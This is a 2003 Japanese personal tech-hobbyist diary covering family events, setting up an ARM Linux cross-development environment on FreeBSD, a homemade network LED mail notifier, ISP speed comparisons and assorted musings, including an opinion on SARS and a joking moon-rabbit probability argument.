今でも毎日スパムが入ります。とってもうっとうしいので、中途半端な廃止ではなく「希望者は一切使わない」設定が出来るようにしてほしいのです。そもそもこんなのスパム以外の用途で使っている人などいないのでは。
DION-AirH" データ圧縮サービス
うーむ、@FreeD への対抗でしょうが、なんか中途半端ですな。個人的には KDDI にもっと頑張って欲しいのですが。
Zaif
ザウルス系のお小遣い帳は、お金持ち倶楽部しかないのかと思っていましたが、 Zaif というのがあるのですね。最近自分でどれだけ散財しているか、訳が分からなくなってきてるので、早速導入です。来月の収支が怖いですな(^^;。
ちなみに初期入力が「お財布」の初期値で、2,408円という情けなさだったりしますが、まだ黒字ではあります(^^;。

2003年6月15日(日)

プレゼントをもらう

全く忘れていたのですが、今日は父の日だそうでして、長女と二女からはカッターシャツ、モカからは折り畳み傘をもらいました。うれし～。

Arm-linux 開発 on FreeBSD
例えば ARM プロセッサーの組み込み Linux 開発環境は、普通は Linux-i386 上で行うのが便利なのはもちろんなのですが、FreeBSD-i386 上に開発環境を構築することも可能です。構築する方法には三通りありまして、
- Vmware(on Linux Emulation) で Linux を動かしてしまう。
- 配布開発キットを FreeBSD-i386 の Linux Eimulation を使用して動かす。
- gcc や binutils のソースを持ってきて、純粋な FreeBSD-i386 上のクロス開発環境を作成する。
という感じなのですが、最初のは Vmware が重いし運用が面倒なのでぼつ。三番目は非常に面倒で、動き出すまでどれだけ時間がかかるか分からないので、これまたぼつ。というわけでして、二番目が妥当であると考えたのです。実際、ちゃんとした会社の組み込み用のボードを購入すると、開発キットが添付されてきまして、それをインストールすればそのボードの kernel やアプリケーションの開発が容易に可能なのです。Linux 系の場合は、ソースが公開されていますので、さらに開発しやすいのであります。BSD 系の組み込みを販売している会社の場合も、ソースを公開している場合が多いのですが、個人的には、開発環境が劣悪でほとんど使用に耐えない場合もあると思います。また、このように劣悪な開発環境もどきを提供する会社の場合、ハードウエアーに関しても信頼がおけない場合が多いと考えています。
それで、FreeBSD-i386 に arm-linux の開発環境を導入する手順ですが、
- Linux Emulation を動作可能とする。
- /usr/ports/emulators/linux_base/ をインストールする。
- /usr/ports/devel/linux_develtool-7/ をインストールする。
- /usr/compat/linux/usr/bin/rpm を使用して、arm-linux 開発環境配布ファイルをインストールする。
- PATH=/usr/compat/linux/bin:/usr/compat/linux/usr/bin:$PATH としていろいろやってみる(^^;。うまく行かない場合はそのとき考えて自力でなんとかする。
間違えて /usr/local/bin/rpm を使用したりすると、Linux 用のコンパイラが /usr/bin/ に入ったりして大混乱に陥るので注意が必要です。もちろんこれらは/usr/compat/linux/usr/bin/ に入って欲しいのです。
そんなこんなで、デバイスドライバモデュールとアプリケーションは FreeBSD-i386 上で開発が出来るようになりました。Kernel 本体はまだうまくいかないのですが、ライブラリーのパス等に関するチューニングが必要なようで、若干面倒そうです。←これも成功。
＃ディスクが不足したら買っても良いという許可がおりたので、
＃強気になっていたりします。
コンポ
こちらを読ませて頂いていたら、わたしも欲しくなってきたのですが、なにせ置場所[お金も^^;]がないのです。そんなことを食事しながら話していたら、二女が「みんな MD にコピーするのと、MD ウオークマンを持っている」という話になりまして、次回のお誕生日に買って上げるお約束をしてしまいました。ちなみに二女は、音楽教室の先生にもらったコンポを使っているのです。
実は、調子が悪くなった 20年前のスピーカーと、これまた調子が悪い 20年前の大きいアンプがあるので、それを新しいものに置き換えて、さらにまともな CD プレイヤーを購入すれば、音質の面で満足できる環境が作れるのですが、現行ではこれ以上の散財は無理ですし、やはり子供が 3人もいると、落ち着いて音楽を聴く環境ではないのです。お子さまが独立するまでは CD ウオークマンで我慢ですな(^^;。
ところで無線 LAN は動くようになったのですか。

2003年6月14日(土)

そろそろ限界おうちのテレビ
2 年前位からおうちのテレビが色ずれするようになってきて、最近とみにひどくなってきました。7 年位使ったことですし買い換えの時期ですな。ちなみに私は最近全くテレビを見なくなってしまったので、どうでもよいのですが、お子様たちの不満が非常に高まっているのです(^^;。
たしか 2010年頃に地上波アナログが廃止されるので、7 年後に買い換えということで、時期的にも丁度良いのです。
リアル引っ越し
引っ越されたというのは、掲示板の方で知ってまして、リアル引っ越しも意味は分かったのです。ただ、「自動的に新しいページに飛ぶことはありません」の意味が分からず、3分くらい真面目に考えてしまいました(^^;。
ホームページの場所は変らないのですね。

大散財

しばらく Linux 組み込みの世界にひたります。それにしても、32,737円ですか...。

書名著者価格

Arm System-On-Chip Architecture Stephen B. Furber, Steve Furber 4,101円

Arm Architecture Reference Manual Dave Jagger 5,636円

LINUX Core Kernelコメンタリーオープンソースコード詳解 Scott Maxwell 8,500円

Linux2.4インターナルモシュバー 3,200円

詳解Linuxカーネルダニエル・P. ボベット 5,800円

LINUXデバイスドライバ第2版 Alessandro Rubini 5,500円

2003年6月13日(金)

毒王
用語の濫用で SARS に関する私の考えです。一言でいいますと騒ぎすぎですな。厚生労働省の関連ページによりますと、６月９日現在、患者数が 8,421人以上、死亡者が 784 人ということです。一見大変な死亡率の様な気がしますが、「以上」というのが問題でありまして、このような場合は普通の風邪のような軽微な症状の人が 10倍以上存在するのが常識で、そうすると死亡率は 1% 程度ということで、しかも若い人の死亡はあまり多くないということを鑑みますと、悪性のインフルエンザとさほど変らないのではないかと思うのです。
確かに亡くなられた方にはお気の毒なのですが、新しい感染症はある程度広範囲に流行して、一般に免疫が広まった方が、長期的には感染症との共存関係が成立して、良い結果が得られると思います。最近の風潮として、リスクを恐れすぎる場合が多すぎるのでは、と感じる一例であります。
それどころか、最近はイラク問題や北朝鮮問題のように、意図的に恐怖感をあおって、自分達の都合の良い方向に世論を導いたり、監視体制を強化したり、という風潮もみえたりします。生きていく上である程度のリスクは当然存在するので、恐怖感にあおられて、人権を無視した監視体制がはびこることを許す方が、はるかに問題が大きいと思います。
K's デンキオープン
昨日、会社から見下ろせる場所に K's デンキがオープンしたのです。どれどれ、なるほどたくさん並んでいますな。うわさによると、先着若干様にパソコンを 1万円くらいで売っいるのだとか。一週間くらい前からならんでいた人もいた様です(^^;。行ってきた人の話によりますと、レジが行列でとても買いものが出来る状態ではないということでした。２週間くらいたって、ほとぼりがさめたら、寄ってみようかと思っています。はっきり言いまして、散財がこわいですな(^^;。
それはそうと、この位の規模の会社で、しかも客商売で、こんな下手なページも珍しいですな。

2003年6月12日(木)

続 Q329170
教えて頂いた情報によりますと、こちらを参考にして、
グループポリシーの[コンピュータの構成]\[管理用テンプレート]\ [システム] \[ログオン] にある「ユーザープロファイルのアンロードと更新の試行回数の上限」ポリシーを有効にし、回数の上限を 0 などに設定
とすればよいそうです。実機でやってみましたが、全く意味が分からないので丸写しです。ごめんなさい。てゆーか、どうしてこんなのが分かるのかが不思議(^^;。
偵察衛星と隕石
ちょっと古い記事なのですが、こちらの記事によりますと、個人的にはおっこちて欲しい偵察衛星なんてけしからんものが、１メートルの分解能がないと問題になっているそうです。
一方こちらの記事をみますと、シベリアで昨年9月25日に落っこちたと思われる、直径数十メートルの隕石の跡である、100平方キロの樹木の焼け跡が探索隊により見つかったとのこと。
どうしてこんなに巨大なものが空から見つからないのか不思議なのです。
ちなみに、ロシアには 1908年にも大きい隕石が落っこちていまして、「どうしてロシアばかりに大きい隕石が落ちるのだろう。やはり広いからかな」と言ったところ、奧さまが言うには、ロシアにも F さんがいるのでは、ということなのですが、いくらなんでも巨大隕石を埋めるのは無理でしょう(^^;。

2003年6月11日(水)

今日は出社
昨日の夕方から大分体調が良くなったので、いい気になって夜更かししたら、また 38度位の熱が(^^;。いくらなんでも今日は休めないので出社しました。仕事してれば調子が出てくるでしょう。
またまた入った Q329170(^^;
時刻の狂いが大きいけれど、いちいち合わせるのも面倒なので、 Windows2000 マシンに ntp client を導入しようとしたところ、Windows Update をしなさいというご神託がありました。さっそく更新したところ終了が遅くなってしまいました(^^;。もしやと思ったら、しっかり Q329170 が入っていたのです。むむむ、アップデートのたびに削除しなければいけないのかな。
＃つっこみがありまして、「更新の試行回数の上限」なんたらかんたらを
＃設定するとよいそうです。今は良く分からないので、詳細は後で(^^;。
意外と役立つハード biff
~~ねたのために~~研究と実用のために導入したネットワーク対応ハードウエア biff 装置ですが、思ったより好評なのです。長女と二女とはケータイがメインなのでそんなにありがたがっていないのですが、モカは、小学生の分際で意外とたくさんメールが来る様でして、結構重宝しているみたいです。
それで奧さまはといいますと、奧さまが重宝しているというより、すぐに読んで頂けるということで、私が重宝している面が多かったりします。いずれにしてもちょっと高かったのは事実ですが、自分にとって役に立つ PC からの外部機器制御というのも初めてということで、結構楽しめたのです。ご想像の通り、 LED が 4つあって、ネットワークインターフェースがある、という事実以外調査しないで購入したので、LED をちゃんと制御可能かも不明だったのですが (おい^^;)、とにもかくにも捨て金にならなかったのは幸いでした。

2003年6月10日(火)

ダウン
朝起きたらとても具合いが悪くて熱っぽい。１時間半遅れくらいで無理して藤沢駅まで行ったが、倒れそうになってタクシーで帰宅。熱を計ったら 38度5分。うーむ、なんのかんの長距離通勤疲れがたまってるのですかねぇ。
傷がつかないザウルス表面
どういう素材なのか知りませんが、普通に使っていると意外と傷がつかないのですね。これなら２年間くらい大丈夫かもしれない。もちろんその位は使う予定です。遅い以外は不満な点はないですから。
60G のハードディスク
現在 X24 のディスク使用はこんな状況です。
```
$ df
Filesystem  1K-blocks    Used    Avail Capacity  Mounted on
/dev/ad0s1a    257998   44216   193144    19%    /
/dev/ad0s1f  27296348 6998094 18114548    28%    /usr
/dev/ad0s1e    257998   37034   200326    16%    /var
procfs              4       4        0   100%    /proc
$ du -k /usr/home
2819844
```
うーむ、/usr が 27G のうち 7G しか使っていなくて、自分のデータ─置き場である、/usr/home などは 2.8G しか使っていないので、すかすかの状態なのです。ところが、なんとなく 60G のディスクがほしいこの頃だったりします。理由としては、
- 60% 位使用するといやになる性格である。そういう意味ではもう半分使ってしまっている。
- 半分使うと心配になる性格である(オイ^^)。
- なので、大量のディスクを消費するアプリケーションのインストールなど、なんとなくためらってしまう。
- 仕事の関係で Linux Emulation 上のクロス開発環境や Vmware 上の Linux など色々とインストールしてみたい。本体 OS に関しては浮気しないとはいえ、実質複数の OS を載せることになり、かなりディスクの容量を消費しそうである。
つまり Linux 関連の開発環境を作るのに、かなりの領域が必要ということなのです。てなことを奧さまに話していたら、
「足りなくなったら買ってもよいから、今買わなくてもいーじゃない。パソコンだっていつ壊れるか分からないし」
おおせの通りでございます(..)。ちなみに、万が一 X24 が壊れたら新しいのを買って宜しいという、ありがたき御言葉を頂いたのであります。もちろんこちらも、理想のノートパソコンと思っていますので、2年間は使うつもりであります。

2003年6月9日(月)

お休み
今日は６月１日の代休でお休み。
ADSL モデムのファーム更新
おうちの ADSL モデム[MN II]のファームがずいぶん新しくなっていたので更新しました。ちなみに今までは、これもモデムに入り込んで初めて知ったのですが(^^; Ver 1.10 だったようです。入れ替えた後の状況は、可もなく不可もなく、という感じです。ちなみにルーター越えで ADSL モデムに入る方法がなさそうなので、ADSL モデムの Ethernet ケーブルをクロスでノートに挿してメンテナンスというのが面倒なのです。なにかよい方法を見落としているのだろうか。いやいや、モデムの IP アドレスなんて、単にメンテナンス用であり、直結した場合に見える以外の実体はないのですから、いくらなんでも無理の様な気がします。

2003年6月8日(日)

素数
二女が 1 は素数なの～、と聞きにきました。もちろん素数でないのですが、先生が素数だと言ってたとのこと(^^;。いや～、普通の人で 1 が素数と信じている人が多いのは知っていますが、数学の先生が信じては困りますな。おそらく、
素数とは 1 以外で、自分と 1 以外で割りきれない数のことである。
という定義の最初の部分を見落としたのでしょう。それで普通の人が疑問になるのは、どうして 1 は除外されるのか、ということでしょうが、確かに可換環論という理論を前提にしないと説明しにくいですな。一言で言いますと 1 や -1 は unit というものに属し、素数とは一番遠い存在なのです。 1 に比べれば 4 や 12 の方がまだ素数っぽいと言えます。
反応
- 過去の物語の記録を更新
 本家に日記を移動するための準備だったのですね。かなり手間がかかったと思うのですが、それともコマンド一発ですかな。
- 日記を自前にしました
 CGI ということは、textarea の様なもので書き込んで、何かコミット的な操作をすると、外向けに反映されるということなのでしょうか。オリジナルの方は、項目、または日付ごとのデータ─ベースかなにかになっているのですか。
   というのが、いかにも自動化用というあやしげなコメントですね。
 わたしは Emacs 以外では指が動かないので、CGI 化するのは難しいのですが、大分増えてきたので、項目ごとのデータ─ベース化と分類はやってみたいのです。例えば数学ねた関連のページを作成して、関連項目[の日付]へのリンクを張るなどというもの。
- 今ごろになって
 クラスター分析関連はとっくにお蔵かと思っていましたが、今頃になって出てくるとは驚きました(^^;。とっても手間がかかったと思います。お疲れさまです。
 それで、確かに雰囲気の似た曲がスコア─も近い感じがしますね。「そっくりハウス」「たんぽぽ食べて」「しっぽのきもち」が孤立してるのも納得。こんどは「全部^^」対象の結果を見たいものです。

2003年6月7日(土)

無量大数
モカと大きい数の話をしていたら

一、万、億、兆、京、該

までは知っているとのこと。むむむっ、パパとおんなじでわないか(^^;。それでモカ曰く。
「パパは数学勉強していたのだから、無量大数まで言えなきゃだめ～」
うーむちょっとつらいですな。

mopera VS IIJmio

というわけで、 mopera と IIJmio を戦わせてみました。164492 バイトの PNG ファイルを 10 回とる戦いです。

回数 mopera の速度 IIJmio の速度

1 6.73 kBps 6.60 kBps

2 5.44 kBps 6.58 kBps

3 6.72 kBps 5.44 kBps

4 5.42 kBps 6.58 kBps

5 6.75 kBps 6.60 kBps

6 5.45 kBps 6.60 kBps

7 6.62 kBps 5.40 kBps

8 5.45 kBps 6.59 kBps

9 6.50 kBps 6.59 kBps

10 5.44 kBps 6.59 kBps

平均 6.05 kBps 6.36 kBps

分散 0.379 0.220

最良 6.75 kBps 6.60 kBps

最悪 5.42 kBps 5.40 kBps

という訳でして、体感的には「大分違うな～」と感じたのですが、思ったほどの違いはありませんな。分散の違いが使い勝手に影響しているのかも知れません。あとブランドイメージに弱いので、その影響も大きい可能性が大です(^^;。

2003年6月6日(金)

IIJmio が @FreeD に対応
最近 mopera もなんとなく「一休み現象」っぽいのと、バックアップも必要なので申し込みました。もちろん mopera がバックアップとなります。やはり IIJmio の方が快適です。
ご家族様biff装置
一昨日注文いたしました、ネットワーク対応 biff 装置となる PICNIC Ver2 が届きまして、例のごとくピンボケですが、こんな感じのあやしげなブツでして、お値段が 12,800円なのです(^^;。
ちょっと見づらいのですが、左の写真右手前の白っぽいのが 4つの制御可能な LED でありまして、うっすらと赤く見えるのは点灯している状態です。写真と違い本物は点灯状況が非常に見易いのです。右の写真がどうでもよさそうなおまけの箱に入れたところです。

さっそくマニュアルをみたところ、ちっちゃいくせにちゃんと TCP が実装してあり HTTP サーバーまで動作しているのです。ブラウザで接続するとこんな感じの画面で、DOUT である RB4,RB5,RB6,RB7 を ON にすると対応する 4つの LED が点灯するのです。ちなみに、おうちはわたし以外の家族が 4人なので、これは丁度よい数なのです。 LED 制御するには、ポート 80 に接続して、ブラウザで解読した CGI を投げれば良いのでありますから、次のような感じの GET を自動化すれば良いことになります。
GET /modify.cgi?RB5=H
GET /modify.cgi?RB6=L
ただし、これですと一分に一回メールボックスをみて、0 バイトでなければ LED を点灯させる、というアルゴリズムでは TCP 接続切断が頻繁に発生し、 PICNIC 様もそれほど信用できるわけではないので、自動化という面ではやや不安が残ります。
そこで、 PICNIC のひろばという、こちらのページを参照したところ、UDP での制御ライブラリが公開されておりまして、これを使用すれば簡単に UDP を利用したプログラムが記述できるそうなのです。UDP ならば投げっ放しですので、相手様が頓死していても、サーバー側(R30) に負担がかかる心配もないので、非常に安心です。ライブラリーのソースを参照いたしますとそこそこ信用出来そうなので、このライブラリーを利用することにしまして、 biff プログラムを書いたところ、驚くほど簡単に出来てしまったのです。
さすがにこれほど簡単であれば間違えるわけもなく、メールが来れば一分以内に点灯し、吸い上げればこれまた一分以内に消灯する様になりまして、~~ねたのため~~組み込みボードの研究と実用性を兼ねたご家族さま用 biff システムが、見事に完成したのであります。

2003年6月5日(木)

SSD/Linux

仕事で、 OpenBlockS266 のインストールをしていたのですが、こんなのを使っているのですね。インストーラーを起動すると

-------------------------------------------------------------------
SSD Linux 0.2-20030401/2.4.20 Installer

  Why do you choose Linux ?
  We recommend you to use NetBSD or FreeBSD, OpenBSD instead.

Are you sure to install [y/N] ?
-------------------------------------------------------------------

と聞いてくるのが非常に楽しい。

telnet と ftp
Telnet,ftp は昔の威光はどこにいってしまったのかと思うほど凋落傾向が激しく、最近の UNIX ではデフォルトで接続を受理しないのが当たり前になってしまいました。個人的には導入直後は動作していて、sshd を走らせるまでのつなぎとして使用できた方が便利で良いと思うのですが、inetd.conf で telnet,ftp の行がコメントになっている程度は仕方がないのかも知れません。
ところが、昨日 ARM 系の Linux ボードに Debian Linux というのを導入したのですが、in.telnetd,in.ftpd はパッケージであり、基本システムには含まれていないというのです(^^;。
いやはや、~~最初にどうやってネットワークから必要なものを持ってくるつもりなのか知りませんが、~~これではいくらなんでも不便すぎますな。ARM 系だからそのようになっているわけではなく、i386 でも同様の様です。セキュリティーを強化するということが、不便にすることと同値であると思い違いをしているのだろうか。
ssh などは、セキュリティーと便利さを両立させた非常に良い例なので、最初から sshd が起動している、というのなら話はわかるのですが。
さらに、予想されたことではあるのですが、ネットワークの基本設定ファイルなども、例えば RedHat Linux とは全く異るのです。Linux にも良い点はたくさんあるのですが、問題点もいろいろ抱えているような気がします。
＃ただし個人的感想ですが、組み込みの世界での BSD 系の移植は、
＃粗悪で壊滅的な状態であると思いますので、この世界で生きるには
＃Linux と仲よくすることは必須であることは事実なのです。

2003年6月4日(水)

未明
昨日の日記で修正したのですが、某 J 氏より突っ込みがありまして、たしかに宜しくないことは分かったのですが、なかなか適当な言葉を思いつかなかったのです。早朝では４時過ぎという感じだし、具体的に時刻を入れるのも気に入らないし。
はたはた困り果てまして、家に帰って奧さまに聞いたら「未明でいいじゃない」とのご指導。うーむ、完全に抜けていました。いずれにしてもありがとうございます。
IEEE802.11g に関する考察
最近 IEEE802.11g の製品も安価になってきまして、本当に役に立つならば購入してもよいかな～、と思える値段になってきました。ところがちょっと考えてみると、おうちの場合は全く役に立たないのです(^^;。
自宅での無線を利用する経路は次の通りです。
- ご家族さま用牛と R30(サーバー)
- ご家族さま用牛と X24(メインノート)
- X24 と R30
- X24,R30 とインターネット
- ザウルス(^^;と X24,R30,インターネット
牛とインターネットは Ethernet で基地局に直結です。
それで、牛と R30,X24 は滅多に通信しないので、速くしてもほとんど意味がありませんし、どうしても速くしたい場合は、X24 を牛の近くに持っていって Ethernet を利用すれば良いのです。
X24 と R30 間も同様で、いつもは無線を使用しているのですが、目の前に R30 から出ている Ethernet クロスケーブルがありまして、それを X24 に挿せば高速なデータ─転送も可能なのです。
さらに、インターネットに関しては、おうちはとても鈍足なので考える必要もありません。
さらにさらに致命的なことには、FreeBSD-4.X が CardBus に対応していないので、 IEEE802.11g のカード(これは CardBus でないと意味がありません)を使えるマシンが一台もなかったりします(オイ^^;)。
FreeBSD-5.X 系列は安定するまで余りにも困難が多そうなので、とりあえずペンディングにして、 4.X にCardBus 対応だけを持ってきて欲しいものです。
全然関係ない話ですが、万が一 FreeBSD サーバー(R30)がお亡くなりになった場合は、Linux であるということがやや難点ではありますが、こんなのにハードディスクをつけたものに浮気するかも知れません。

2003年6月3日(火)

星空
~~今日の深夜は~~未明、久し振りに天気が良かったので、双眼鏡で星空を見てみました。空気の状態はあんまり良くなくて、目視では数個しか見えなかったのですが、双眼鏡で見るとかなり見えるのですね。うっすらと天の川も見えました。前回天の川を見たのなんて何年前のことか思い出せません。冬場の空気の状態が良いときにみると非常に感動的かもしれません。今から楽しみです。それから、現在火星が大接近中で早朝西空に見えるはずなので、是非見たいのです。
＃MoonSong が届いていました。昨日はちょっと疲れていたので今日読みます。
自宅の牛
Windwos2000 の Q329170 Hotfix をアンインストールしました。確かにすぐに終りますね。
IP 電話
IIJmio で IP 電話サービスが始まるそうです。確かに通話料はやすいのですが、月額の基本費用が、基本料金 280 円 + 音声と IP の変換器(VoIPアダプター)が月額 380円で、合計 660円となります。奧さまに打診してみたところ、通常の月の通話料は 1,000～2,000 円程度ということなので、ほとんどメリットはありません。市外電話や海外電話をたくさんかける人は得でしょうね。遠距離恋愛 + 遠距離結婚のときにこんなのがあれば良かったのに。
ちなみに、IP 電話の場合、相手の声やコンテキストが認証そのものになるので、その場で生成した乱数から導出された素数群で、簡単に強いポイント to ポイント暗号化が出来ると思うのですが、いまの標準の IP 電話はそういう仕様にはなっていないようです。やはり、国家権力盗聴の余地を残しておく、という圧力がかかるのでしょうか。

2003年6月2日(月)

とっても役立つ無線 LAN とげた
前にも書きましたように、会社に X24 用のげたが置いてありまして、昨日はげたをはかせて、あっちこっち移動してシリアル経由でいろんな機器に接続したのです。うーむ、単にインストールのためには必要なかったのかも知れませんが、今となっては必需品になってしまいました。
さらに、会社には Y さんが貸してくれたわたし専用の無線 LAN 基地局があり、ごく一部を除いてオフィス全体に電波が届くのもポイントが高いのです。
げたを履かせるとかっこよくなくって、キーも打ちにくいのですが、上記のような用途には非常に便利なのです。

2003年6月1日(日)

一段間接参照
たかたにさんとこに書いてあったので、会社で実験。 Q329170 Hotfix をアンインストールすると、Windows2000 がすぐに終るようになりました。ただし、会社のは永久に終わらなくなる場合があるので、その場合にも効果があるかどうかは不明なのです。
かなり間接参照の階数が増えたようです(^^;。
会社に入れる
今日は入り方を事前に聞いておいたので前回のような悲劇はおきなかったのです。それにしても眠いですな。

2003年5月31日(土)

う～～～わんわんわん
ご家族様のパソコンは Windows2000 の牛マシンでありまして、使用するときだけ電源をオンにします(普通そうですよね^^;)。
それでちょっと困るのが、どうでもよい「今日の晩ごはんのおかずはなーに」とかいうメールを会社から出す場合でして、いつ読んでもらえるか分からないし、場合によってはその日は読んでもらえなかったりするのです。
春休み中は二女のケータイを biff がわりに使っていたのですが、いまはそれもできないし、奧さまがケータイを持っていないのが痛いですな。
そうしますと、おうちでメールの受信状況を把握しているのは、サーバー機である R30 だけということになりますので、R30 に何かインターフェースをつけて、LED のようなのを目立つ場所でピコピコさせようかな、などと考え始めたのです。
そこで、R30 のシリアルポートで、手作り(もちろん作り方教えてもらって)の LED ボードの様なのを制御すれば良と思ったのですが、
R30 にはシリアルポートがついていない
ということが判明してこの案はぼつ(^^;。
そうるすと、一番簡単そうなのがネットワーク経由での制御となりますが、 Ethernet と DIO を実装したボードコンピューターが必要になりそうです。結構コストがかかりそうですな。いろいろ調べていたら、 PICNICネットワークインターフェースカードというのがあるそうでして、部品がマウントされた状態で 12,800円。こんなのはどうなんでしょうかね。もう少し調査してみましょう。
家族のメーリングリストを作成
別にどうということはなく、/etc/mail/aliases に設定しただけです。ただし、設定に混乱がありまして、奧さまと長女とモカはレンタルサーバーに直接取りに行き、二女は複数のアドレスを持ちたいと言うので、自宅にアドレスを持っているのです。従って、二女以外はレンタルサーバーに一度飛ばす必要があるというスパゲッティ状態になってしまいました。そろそろ整理しないといけないですな。
ちなみに、最近 FreeBSD-user-jp に SMTP-AUTH 関連の話題が流れたので、それを参考にしていろいろやってみたがうまくゆかないのです。どうも sasl という認証機構に嫌われているようです。
やはり統一性がないのはやなので、全部自宅に転送するように変更。家族用の .procmailrc も設定しました。

2003年5月30日(金)

VM ではまる
現在開発中の Linux 組み込み機器の FlashROM の物理アドレスが 0 番地から始まるのですが、論理アドレスも 0 番地にアサインされていたのです。 Kernel レベルならば論理アドレス 0 番地でもなんとかなると思っていましたが、うまくアクセス出来ないようです。アドレス変換テーブルの許可ビットを変更すればなんとかなるのかも知れませんが、解読が面倒なのです。色々調査したところ ioremap というカーネルサービスがありまして、アクセス可能な論理アドレスに再マップ出来ました。結果的には 1行なのですが 2日近くもかかってしまいました。
＃ GLOBAL はそこそこ役に立ちます。
電車で寝過ごす
通勤の経路は、藤沢(小田急)---登戸(南武線)---分倍河原なのですが、目が覚めたら新宿でありました。仕方がないので、新宿から京王線で分倍河原へ行き 30分遅刻しました。
もうすぐコンサート
あさって島根県でコンサートですね。
なのに、わたしは休日出勤だったりします。ちなみに今年は新しいアルバム出ないのだろうか。
台風は大丈夫なのかな。

2003年5月29日(木)

続 GLOBAL
FreeBSD-4.8R kernel の gtags,htags の出力を置きました。ただし検索の正規表現で「全部」とか与えられますと、自宅サーバーが瀕死の状態となりますので、検索はできません。

2003年5月28日(水)

GLOBAL
ソースツリーを解釈して参照テーブルを自動作成してくれる GLOBAL というツールがありまして、kernel の様な膨大なソースを解読する場合に非常に役に立つのです。FreeBSD の ports の場合 /usr/ports/devel/global/ に入っておりまして、インストールしたら、
$ cd kerneldir
$ gtags -v
$ htags -fFnvat 'Welcom to Linux kernel source tour!'

という感じで、HTML で参照可能な(変数名や関数名の)名称によるクロスリンクを作成してくれます。極めて便利で一度使うと手放せなくなるのですが、例えば Linux の kernel に適用すると、最終的な HTML ファイル群を作成するのに X24 で数時間!!かかるのと、1Gバイト以上のディスク容量を消費するのが欠点ではあります。
会社に双眼鏡をもっていく
昨日の日記に書きましたように、私の職場は府中の高いビルの 10階で、回りに他の高い建物もないので、非常に見晴しがよいのです。残念ながら富士山方面は見えませんが、新宿方面は非常に良く見えるのです。
そこで、昨日買った双眼鏡を持っていって、なんとなく眺めるてみました。
ふむふむ、なかなか良いですな。今日はちょっともやがかかっていて新宿のビルはあんまりよく見えませんが、空気の状況が良ければ、新宿ビル街も良く見えるのではないかと思われます。
＃窓の所に 100円入れる箱と一緒に置いとけばよいと言った人がいますが
＃あんまり儲からないでしょうな。
パパの双眼鏡を買う^^
なんかわたしも欲しくなってしまって、値段が安いかったと奧さまが言ってたので、買ってきてもらいました。機種はオリンパス 8x40 DPS I でお値段が 6,800円。新しい機種なのにずいぶんと安いですな。夜ですし天気も悪いのであんまり良く分からないのですが、モカのとそれほど違わない感じがします。ただし、スタイルはモカのものの方がよろしい。

2003年5月27日(火)

地震
わたしの勤務先は高層ビルの 10階なので、ゆーっくりした横揺れが非常に長時間継続しまして、かなり怖かったのです。東北地方で震度 6弱と聞いたときは驚きましたが、宮城県沖地震のような大被害がなかったのは幸いでした。
＃たしかに、最近の震度はインフレの傾向がありますね。

2003年5月26日(月)

禿の月
実はちょっと前に、昨日の話題とは全く関係ないところからも、月のウサギのお話がありまして。内容は全然違うんですが、やっぱ月を連想するのかな...。
「ひとりでお帰り」を聴きたくなってきました(^^;。
もしかして、この題名は仙台方面の人にしか通じないのでは(^^;。
サーバーとしての BSD と Linux
前に「Linux もそこそこ」という話を書きましたが、これは X などを立ち上げてクライアント的な用途で使用する場合の話でありまして、仮にサーバー的な用途として使うとしても、補助的な使用に限定する場合のことなのです。
真面目な i386 サーバー用途に使用する場合、Linux はディストリビューションにより管理の方法に違いがあったりして、運用がとても不便なのと、ネットワークに関して BSD ほどには信用できないので、BSD を利用するのが当然の選択だと思います。
逆に組み込み分野で UNIX 系の OS を使用したい場合、公開された部分のソースを参照する限り、特定の CPU(特に NetBSD/sh[34]) ではポーティングが極めて稚拙であり、非常に効率が悪く、しかもバグも多くみられる場合があるようで、そもそもポーティングした人が良く理解していないのではないかと言っても過言ではない場合もあります。この様なものは、素人の自己満足の遊びとしては許されても、商品としては全く通用しないもであることは明白です。従ってこの場合、Linux 系の OS 使用するのが妥当な選択であると考えております。
＃ともかくも７年以上の付き合いの FreeBSD が一番可愛いのは事実ですな。

2003年5月25日(日)

Re: 想い出 2003/05/24
えーっと、「すべての人は禿である」という話は知っておりました。要するに、一本くらい増えても大勢に影響がないということですね(涙)。

月のウサギの話は次のバージョンを読んだことがあります。
月にはウサギがいるかいないかである。よってウサギがいる確率は 1/2 である
裏面バージョンがあるとは知らなかったです。裏面も考えると存在確率が増えるのですね。そこで今思いついた「かがみの宇宙人極限定理」(^^;。
月の領域を n 等分します。各領域にはウサギがいるかいないかなので、いる確率は 1/2 となります。従って、少なくとも一ヶ所にウサギが住んでいる確率は 1 - (1/2)^n で n が十分大きければ 1 に収束します。
特に月の表面積は、ウサギの体型に比して非常に大きいので、上記 n は 1000000 とか極めて大きい値をとることが可能でして、(1/2)^1000000 などは想像も出来ないほど小さい数になり、月にはほとんど確実にウサギが住んでいるということになります。
これを自然に拡張することにより次の定理群が成立します。
1. 太陽には太陽人が住んでいる。
2. 水星には水星人が住んでいる。
3. 金星には金星人が住んでいる。
4. 月には月人が住んでいる。
5. 地球には地球人が住んでいる。
6. 火星には火星人が住んでいる。
7. 木星には木星人が住んでいる。
8. 土星には土星人が住んでいる。
9. 天王星には天王星人が住んでいる。
10. 海王星には海王星人が住んでいる。
11. 冥王星には冥王星人が住んでいる。
むむむむむっ、5番以外は新発見でしかも完璧な論理だ。さらに 5番はこの偉大なる理論の具体的な実証例となっている。フィールズ賞は年齢制限で無理ですが、ノーベル賞は確実ですな(^^;。

2003年5月24日(土)

ザウルスからアップロード
CVS とか大道具をそろえましたが、いやはや打ち込むのがこんなに面倒ではおはなしになりません(^^;。ちなみに下の記事もザウルスで書いたのではありますが、X24 から ssh で入ったといういんちきだったりします。やはり計画倒れですな。
ジレンマ
世の中には、例えば Bフレッツの様な自宅サーバー通信の基幹部分に障害が発生しても @FreeD で代替して急場をしのぐ、という景気のよい方もいらっしゃるようですが、おうちの場合は仮に ADSL がダウンしてもなかなかなかうまく行かないのです。
何回か書きましたように、自宅のネットワーク構成はこんな風になっておりまして、ADSL モデムや無線 LAN 基地局は南側の部屋、つまり湘南海岸側にあるのです。「それがどうしたの」と思われるのは当然なのですが、どうも PHS やケータイの電波は北側、即ち横浜側から飛んでくるらしく、湘南海岸側では電波の状況が良くないのです。もちろん無線 LAN の電波が北側の部屋まで届けば問題はないのですが、マンションのコンクリートとくねくねした廊下や扉が障害になるのか、とにかく非常に不安定なのです。まとめますと、
湘南海岸側の部屋では PHS の電波状況が悪い
横浜側の部屋では無線 LAN の電波状況が悪い
横浜側の部屋には有線の経路がない

